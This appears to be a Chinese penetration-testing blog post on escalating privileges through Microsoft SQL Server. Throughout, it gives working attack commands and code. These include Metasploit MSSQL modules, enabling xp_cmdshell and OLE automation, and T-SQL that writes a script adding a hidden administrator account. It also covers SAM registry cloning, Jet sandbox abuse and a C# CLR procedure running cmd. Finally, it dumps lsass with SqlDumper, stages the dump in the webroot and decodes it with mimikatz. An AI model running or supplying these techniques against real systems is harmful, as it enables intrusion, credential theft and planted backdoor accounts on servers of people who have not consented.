小议mssql提权

  • A+

前言

对SQL SERVER提权的研究。在渗透过程中,我们日常会遇到SQL SERVER数据库的情况,本文记录一些SQL SERVER的提权姿势。一般我们进行SQL SERVER都需要执行一下SQL命令,这里我推荐SQLServer Management Studio客户端管理工具,如果目标处于内网可以使用Proxifier添加规则进行连接。单对于mssql来讲,个人极不建议用navicat,因为SQLServerManagementStudio已足够的强大,好用,后期假如我们需要自己手工编辑些触发器,存储过程,基本的sql增删改查以及数据备份导出,用它都非常的方便,也根本犯不着去用一些第三方的任何工具脚本。

提权

msf

msf内置了许多关于mssql的模块,大家可以根据需要进行使用。

```language
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

Info gathering

msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

Search for insteresting data

msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

Privesc

msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

Code execution

msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

Add new admin user from meterpreter session

msf> use windows/manage/mssql_local_auth_bypass
```

xp_cmdshell

xp_cmdshell脚本是SqlServer中的内置存储过程,它可以执行操作系统的任何指令。sql2005版本以后默认为关闭状态,需要开启命令执行,需要sa权限。

截图.png

我们需要使用使用下面的命令开启

```sql
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

```

或者

sql
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'

截图 1.png

但是不同的版本直接权限也是不同的,在2005中xp_cmdshell的权限是system,2008中是network。如果是system权限,我们可以使用xp_cmdshell来执行命令或者下载一个木马,来得到相应的权限。

关闭方法:

```sql
exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell', 0;reconfigure
```

sp_OACreate

sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd,默认无回显。

开启该存储过程:

```sql
EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

```

虽然没有回显,但是可以将结果重定向到文件,利用方法如下:

language
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >C:who.txt'

截图 2.png

还有下面的两种方法:

```language
declare @o int;
exec sp_oacreate 'Shell.Application', @o out;
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:test.txt','c:windowssystem32','','1';

language
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:Inetpubwwwrootlu4n.comcmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

```

还有下面的一些利用方法,比如写入启动项:

```language
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:RECYCLER1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

```

xp_regread & xp_regwrite

这个存储过程并不能直接提权,并且需要低版本的mssql,他的原理是权限克隆。

获取administrator账号的加密密码

language
xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'

将刚刚获取的0x…开头的value值赋值给guest账号;

language
xp_regwrite 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F5','F','reg_binary',0x......

但是高版本的系统,注册表是读不了的。

截图 3.png

沙盒提权

原理:

1,Access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

language
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:windowssystem32iasias.mdb','select shell( xx )');

注意高版本的mssql会爆下面的错误:

language
SQL Server blocked access to STATEMENT OpenRowset/OpenDatasource of component Ad Hoc Distributed Queries because this component is turned off as part of the security configuration for

可以使用下面的方法解决,

截图 4.png

SQL Server CLR

Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能。CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。前提是在SQL Server上能启用CLR并可以创建自定义存储过程和SQL Server当前账号具有执行命令/代码所需要的权限。

创建CLR有两种方式:

方式一:使用DLL文件进行创建

language
CREATE ASSEMBLY AssemblyName from ‘DLLPath’

方式二:使用文件16进制流进行创建

language
CREATE ASSEMBLY AssemblyName from 文件十六进制流

首先使用vs新建一个mssql的clr项目,然后填入下面的代码:

```c#
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;

public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > d:temp1.txt";
process.Start();
}
}
```
编译得到一个dacpac后缀的文件。然后解压该文件得到sql文件,执行下面的命令:

language
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;

language
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

language
EXEC sp_configure N'show advanced options', N'1'
RECONFIGURE WITH OVERRIDE
--开启clr enabled 选项
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE
--关闭所有服务器配置选项
EXEC sp_configure N'show advanced options', N'0'
RECONFIGURE WITH OVERRIDE

最后便可以使用下面的命令执行我们的命令

language
EXEC [dbo].[SqlStoredProcedure1];

Rotten Potato

看图大家就明白了。

截图 5.png

SqlDumper

上面的情况的都是直接获取对应的权限,这个我们换一种思路,使用SqlDumper来dump目标的hash然后获取权限,因为当目标存在杀软的时候,使用上面的功能总会遇到一些限制。

SqlDumper.exe是从SQL Server安装目录下提取出来的,功能和Procdump相似,并且也是微软出品的,体积远小于Procdump,也具备一定的免杀功能。SqlDumper.exe默认存放在C:Program FilesMicrosoft SQL ServernumberShared,number代表SQL Server的版本,参考如下:

```language
140 for SQL Server 2017

130 for SQL Server 2016

120 for SQL Server 2014

110 for SQL Server 2012

100 for SQL Server 2008

90 for SQL Server 2005
```

先查看目标的lsass进程:

language
exec master..xp_cmdshell "tasklist /svc | findstr lsass.exe"

截图 6.png

命令补全后

language
"C:Program FilesMicrosoft SQL Server140SharedSqldumper.exe" 720 0 0x01100 0 C:

其中,Sqldumper原型为
language
SqlDumper <process id (PID)> <thread id (TID)> <Flags:Minidump Flags> <SQLInfoPtr> <Dump Directory>

执行:

language
DECLARE @line sysname
SET @line = '"C:Program FilesMicrosoft SQL Server140SharedSqldumper.exe" 720 0 0x01100 0 C:'
EXEC master..xp_cmdshell @line

截图 7.png

可以在第20行看到成功的dump了。这个时候我们一般就需要将其下载到本地进行解密,为了防止其他情况,我们将其改成txt后缀放入网站目录再进行下载:

```language
DECLARE @old sysname,@new sysname,@cmd sysname
SET @old = '"C:SQLDmpr0001.mdmp"'
SET @new = '"C:inetpubwwwroottest.txt"'
SET @cmd = 'copy '[email protected]+' '[email protected]
EXEC master..xp_cmdshell @cmd

```

然后解密即可:

```language
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"

```

截图 8.png

至于显示错误的原因,大家都懂,哈哈哈....

参考文章:

https://www.lshack.cn/723/
https://y4er.com/post/mssql-getshell
https://www.cnblogs.com/zpchcbd/p/11706247.html
https://evi1cg.me/archives/Exec_OS_Command_Via_MSSQL.html

相关推荐: Spring 反序列化 RCE 漏洞分析

说在前面 原标题叫 《Spring framework 反序列化 RCE 漏洞分析》 奈何只能输入 26 个字符以下,故叫 《Spring 反序列化 RCE 漏洞分析》 相关分析漏洞是一个几年前的漏洞,并非是最近刚出的。之所以分析这个漏洞是因为笔者在梳理 fa…